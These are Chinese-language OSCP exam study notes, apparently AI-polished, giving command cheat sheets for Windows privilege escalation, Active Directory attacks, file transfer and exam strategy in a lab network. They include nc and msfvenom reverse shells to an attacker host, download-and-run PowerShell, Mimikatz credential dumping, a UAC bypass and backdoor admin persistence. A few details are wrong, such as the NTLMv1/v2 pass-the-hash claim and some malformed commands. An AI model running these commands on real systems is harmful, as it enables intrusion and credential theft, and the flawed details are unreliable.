这是笔者之前备考时写的相关笔记,现在让ai润色后发出来,希望对备考OSCP的小伙伴们有点帮助~
一、考试结构与战略
1.1 考试环境与攻击路径
考试拓扑:ms01.oscp.exam → ms02.oscp.exam → dc01.oscp.exam
固定攻击路径:Kali → ms01 → ms02 → DC
得分构成:ms01(10分) → ms02(10分) → DC(20分)
1.2 战略核心
- AD套件占40分,是整场考试最确定性的得分来源
- 优先攻击AD,再回头处理独立机器
- 最低通过策略:AD套件(40分) + 两台完整独立机器(40分) = 80分
二、信息收集阶段
2.1 识别域环境
# 判定是否为域控——看端口
nmap -p88,389,445,636,3268 <target>
# 88=Kerberos、389=LDAP、445=SMB、636=LDAPS、3268=Global Catalog
知道是dc域之后,第一步:枚举
2.2 /etc/hosts配置
(每台机器必做)
echo "<DC_IP> dc01.oscp.exam oscp.exam" >> /etc/hosts
echo "<MS01_IP> ms01.oscp.exam" >> /etc/hosts
echo "<MS02_IP> ms02.oscp.exam" >> /etc/hosts
2.3 LDAP枚举
# 1. 基础信息
ldapsearch -H ldap://dc01.oscp.exam -x -s base -b "" namingContexts
# 2. 枚举所有用户
ldapsearch -H ldap://dc01.oscp.exam -x -b "dc=oscp,dc=exam" "(objectClass=user)" sAMAccountName
# 3. 枚举所有组
ldapsearch -H ldap://dc01.oscp.exam -x -b "dc=oscp,dc=exam" "(objectClass=group)" cn
# 4. 获取用户详细信息(含描述字段——常藏密码)
ldapsearch -H ldap://dc01.oscp.exam -x -b "dc=oscp,dc=exam" "(objectClass=user)" * +
# 5. 使用netexec批量枚举
nxc ldap dc01.oscp.exam -u username -p password -M get-desc-users
2.4 Windows本地信息收集
whoami /priv # 查看权限
net user # 本地用户
net user /domain # 域用户
net localgroup # 本地组
net localgroup administrators # 管理员组
net group "Domain Admins" /domain # 域管组
cd \users # 查看用户目录
PowerShell日志(常见凭据泄露):
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
三、Windows提权技巧
3.1 计划任务提权
# 1. 枚举计划任务
schtasks /query /fo LIST /v
# 2. 检查可写的计划任务脚本
icacls C:\scripts\backup.bat
# 如果当前用户有写入权限→修改为反弹shell
# 3. 写入恶意命令
echo C:\Users\Public\nc.exe 10.x.x.x 443 -e cmd.exe > C:\scripts\backup.bat
# 4. 等待计划任务执行(或手动触发)
schtasks /run /tn "BackupTask"
3.2 服务权限提权
# 1. 枚举服务权限
accesschk.exe -uwcqv "Authenticated Users" *
# 或
sc qc <服务名>
# 2. 检查是否有修改服务配置的权限
# 重点:SERVICE_CHANGE_CONFIG、SERVICE_START权限
# 3. 修改服务binPath为恶意程序
sc.exe config VSS binPath="C:\Users\Public\reverse.exe"
sc.exe start VSS
3.3 DLL劫持提权
# 1. 使用ProcMon监控目标进程
# 过滤器:Process Name = backup.exe, Result = NAME NOT FOUND
# 2. 找到缺失的DLL(如winsock.dll)
# 3. 生成恶意DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.x.x.x LPORT=443 -f dll -o evil.dll
# 4. 替换/放置DLL(利用写权限)
# 将evil.dll重命名为目标DLL名,放到程序目录或搜索路径
# 5. 绕过Defender的技巧——远程加载
# 在Kali上共享evil.dll
impacket-smbserver share . -smb2support
# 在目标上执行
\\kali-ip\share\evil.dll # Windows会加载
3.4 UAC Bypass(fodhelper法)
REG ADD HKCU\Software\Classes\ms-settings\shell\open\command
REG ADD HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ
REG ADD HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe" /f
whoami /groups
fodhelper.exe
原理:fodhelper.exe是微软签名的系统程序,manifest中声明了requireAdministrator,启动时自动提权。通过注册表劫持其执行命令。
3.5 内核漏洞提权
枚举到某个高权限端口服务在本地运行→端口转发→exp溢出漏洞提权
# 1. 查看系统补丁
systeminfo
wmic qfe list
# 2. 查找可用exp
searchsploit Windows 10 19042
# 3. 端口转发(如果服务只监听本地)
# 在目标上
netsh interface portproxy add v4tov4 listenport=8080 connectport=8080 connectaddress=127.0.0.1
3.6 Windows路径空格漏洞
# 如果有路径:C:\Program Files\Zero Tier\zt.exe
# 在C:\Program Files\下放置Zero.exe,会被优先执行
# 因为系统会解析为:C:\Program.exe Files\Zero...(错误解析)
3.7 提权检查脚本
https://github.com/itm4n/PrivescCheck/tree/master
https://raw.githubusercontent.com/itm4n/PrivescCheck/refs/heads/master/release/PrivescCheck.ps1
使用:
# 在目标机器上
iex (New-Object Net.WebClient).DownloadString('http://kali/PrivescCheck.ps1')
Invoke-PrivescCheck
四、文件传输全技巧
4.1 Kali到目标(SMB)
# Kali端
impacket-smbserver -smb2support share .
# 目标端(Windows)
copy \\kali-ip\share\shell.exe C:\Users\Public\
net use \\kali-ip\share
4.2 目标到Kali(Web方式)
目标机器到kali:ms01有web服务,则kali和ms02都能访问,直接通过web(根目录)传文件;curl.exe搭配miniserve
# Kali端启动miniserve
miniserve . -p 80
# 目标端下载
curl http://kali-ip/shell.exe -o shell.exe
certutil -urlcache -f http://kali-ip/shell.exe shell.exe
wget http://kali-ip/shell.exe -OutFile shell.exe
4.3 SMBclient传文件注意事项
# 正确用法:先cd到文件所在目录
cd /path/to/file
smbclient //target/share -U user
put shell.php # 只传当前目录的文件
# 错误用法(会失败):
put /opt/resources/shell.php
4.4 evil-winrm文件传输
# 上传到绝对路径
upload /kali/shell.exe C:\Users\Public\shell.exe
# 或者使用menu中的上传功能
menu
upload
五、域渗透攻击手法
5.1 Kerberoasting
# 1. 枚举所有SPN
setspn -T oscp.exam -Q */*
# 2. 请求票据
impacket-GetUserSPNs oscp.exam/wade:Password123 -dc-ip 10.x.x.x -request
# 3. 破解
hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt
# 或使用john
john --format=krb5tgs --wordlist=rockyou.txt hash.txt
5.2 AS-REP Roasting
# 不需要密码,枚举未启用预认证的用户
impacket-GetNPUsers oscp.exam/ -dc-ip 10.x.x.x -no-pass -request
# 批量枚举
impacket-GetNPUsers oscp.exam/ -usersfile users.txt -no-pass -dc-ip 10.x.x.x
5.3 Pass the Hash(PtH)
# 使用NTLM哈希直接登录
impacket-psexec oscp.exam/administrator@ms02.oscp.exam -hashes :<NTLM_HASH>
impacket-wmiexec oscp.exam/administrator@ms02.oscp.exam -hashes :<NTLM_HASH>
impacket-smbexec oscp.exam/administrator@ms02.oscp.exam -hashes :<NTLM_HASH>
# 使用evil-winrm(需要WinRM开启)
evil-winrm -i ms02.oscp.exam -u administrator -H <NTLM_HASH>
5.4 Mimikatz抓密码
# 提权后运行
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# 或抓取所有凭证
sekurlsa::ekeys
5.5 银票伪造(Silver Ticket)
# 1. 获取域SID
Get-LocalUser -Name $env:USERNAME | Select sid
# 或使用
wmic useraccount where name='Administrator' get sid
# 2. 获取目标服务的NTLM哈希(如CIFS服务)
# 需要已经拿到服务账号的密码
# 3. 生成银票
impacket-ticketer -nthash <NTLM_HASH> -domain-sid <SID> -domain oscp.exam -spn cifs/dc01.oscp.exam administrator
# 4. 导入票据并访问
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass dc01.oscp.exam
5.6 LAPS利用
# 如果在LAPS_Readers组,可读取本地管理员密码
# 使用PowerShell
Get-ADComputer -Filter * -Properties ms-MCS-AdmPwd
# 或使用
nxc ldap dc01.oscp.exam -u user -p pass -M laps
5.7 GPP解密(Group Policy Preference)
# 找到groups.xml或cpassword加密值
gpp-decrypt <encrypted_password>
# 通常在SYSVOL\<domain>\Policies\{GUID}\MACHINE\Preferences\Groups\Groups.xml
六、横向移动与权限维持
6.1 runas提权
# 以其他用户身份运行
runas /user:oscp.exam\wade cmd.exe
# 会弹出新窗口,输入密码后获得该用户的shell
6.2 本地持久化
# 添加隐藏管理员
net user hacker Password123! /add
net localgroup administrators hacker /add
net user hacker /active:yes
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 开启3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
七、常见漏洞利用场景
7.1 Keepass数据库破解
apt install keepassxc
https://github.com/r3nt0n/keepass4brute
# 找到.kdbx文件后爆破
keepass4brute -f database.kdbx -w rockyou.txt
# 或使用keepassxc-cli
keepassxc-cli export database.kdbx
7.2 SMB匿名访问
# 匿名连接
smbclient //target.ip/share -N
# 或
smbclient //target.ip/share -U "" -N
# 下载文件
get backup.zip
# 破解zip哈希
zip2john backup.zip > hash.txt
john --wordlist=rockyou.txt hash.txt
7.3 MSSQL攻击
impacket-mssqlclient user:pass@domain
export KRB5CNAME=Administrator.ccache
impacket-mssqlclient -k dc.sequel.htb
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 执行命令
EXEC xp_cmdshell 'whoami';
7.4 Registry备份导出
impacket-reg soupedecode.local/zximena448:internet@192.168.56.126 backup -o '\\192.168.56.104\share'
impacket-secretsdump -system SYSTEM.save -sam SAM.save -security SECURITY.save local
流程:
- 使用impacket-reg备份注册表到SMB共享
- 使用secretsdump从备份文件中提取密码哈希
八、Metasploit使用策略
8.1 考试限制
- 整个考试只能在一台机器上完整使用Metasploit
msfvenom和multi/handler可自由使用- 策略:将MSF权限留给最难搞的机器
8.2 常用参数
msfconsole
# 后台监听
exploit -j
# 收到session后不立即交互
exploit -z
# 自动迁移进程(防掉线)
set AutoRunScript post/windows/manage/migrate
# 单独启动handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4444; exploit -j"
8.3 生成payload
msfvenom windows/x64/exec cmd='net user administrator Admin@123 /domain' -f dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=139 EXITFUNC=thread -f exe-service -o shell_svc.exe
九、NTLM认证相关
9.1 触发NTLM v2认证
# 在目标上访问任意UNC路径触发
dir \\kali-ip\share
# 或
\\kali-ip\share\evil.dll
9.2 NTLM v2 vs NTLM v1
关键区别:
- NTLM v1可以用于Pass the Hash(无挑战应答)
- NTLM v2包含时间戳和随机数,不能用于PtH,只能破解
十、考点总结清单
必考技术点(优先级排序)
| 优先级 | 技术 | 笔记位置 | 考试频率 |
|---|---|---|---|
| ⭐⭐⭐ | Kerberoasting | 域渗透核心 | 几乎必考 |
| ⭐⭐⭐ | 服务提权(sc config) | 提权思路 | 几乎必考 |
| ⭐⭐⭐ | 计划任务提权 | 提权思路 | 高频 |
| ⭐⭐⭐ | Pass the Hash | 横向移动 | 高频 |
| ⭐⭐ | AS-REP Roasting | 域渗透 | 中频 |
| ⭐⭐ | DLL劫持 | 提权思路 | 中频 |
| ⭐⭐ | LDAP枚举 | 信息收集 | 必考 |
| ⭐⭐ | Mimikatz | 抓密码 | 中频 |
| ⭐ | UAC Bypass | fodhelper | 低频 |
| ⭐ | 银票/金票 | 域渗透 | 低频 |
| ⭐ | LAPS | 域渗透 | 低频 |
| ⭐ | GPP解密 | 域渗透 | 低频 |
工具清单
# Impacket套件(几乎必用)
impacket-GetUserSPNs
impacket-GetNPUsers
impacket-psexec
impacket-wmiexec
impacket-smbexec
impacket-secretsdump
impacket-ticketer
impacket-reg
impacket-mssqlclient
impacket-smbserver
# 其他
evil-winrm
ldapsearch
nxc (NetExec)
BloodHound
PowerView.ps1
PrivescCheck.ps1
certipy-ad
mimikatz
十一、考试当天流程
11.1 前30分钟
- 连接VPN,建立项目目录
- 配置
/etc/hosts所有目标 - 对所有目标执行nmap快速扫描
- 根据结果确定攻击优先级(先AD套件)
11.2 AD套件攻击流程
1. 使用考试提供的凭证登录MS01
2. 枚举本地信息(whoami /priv, net user, 找flag)
3. 提权到Administrator/SYSTEM
4. 读取local.txt(10分)
5. 枚举域信息(LDAP、BloodHound)
6. Kerberoasting/AS-REP获取更多凭证
7. 横向移动到MS02(PtH/psexec)
8. 在MS02上重复提权流程
9. 读取local.txt(10分)
10. 从MS02进一步横向到DC
11. 提权到域管理员
12. 读取proof.txt(20分)
11.3 注意事项
- 每推进一步,都要有攻击链——考试要求整个攻击路径可复现
- local.txt和proof.txt需要截图保留(含内容+ipconfig/whoami)
- 不要忘记截图:每次获得权限、每个关键步骤都要截图
最后记住:“oscp考的是信息收集,只有信息收集到位了,不太会掉到rabbit hole里面”。枚举→枚举→再枚举,是OSCP通过的核心密码。
原文 https://blog.csdn.net/2301_79518550/article/details/163236486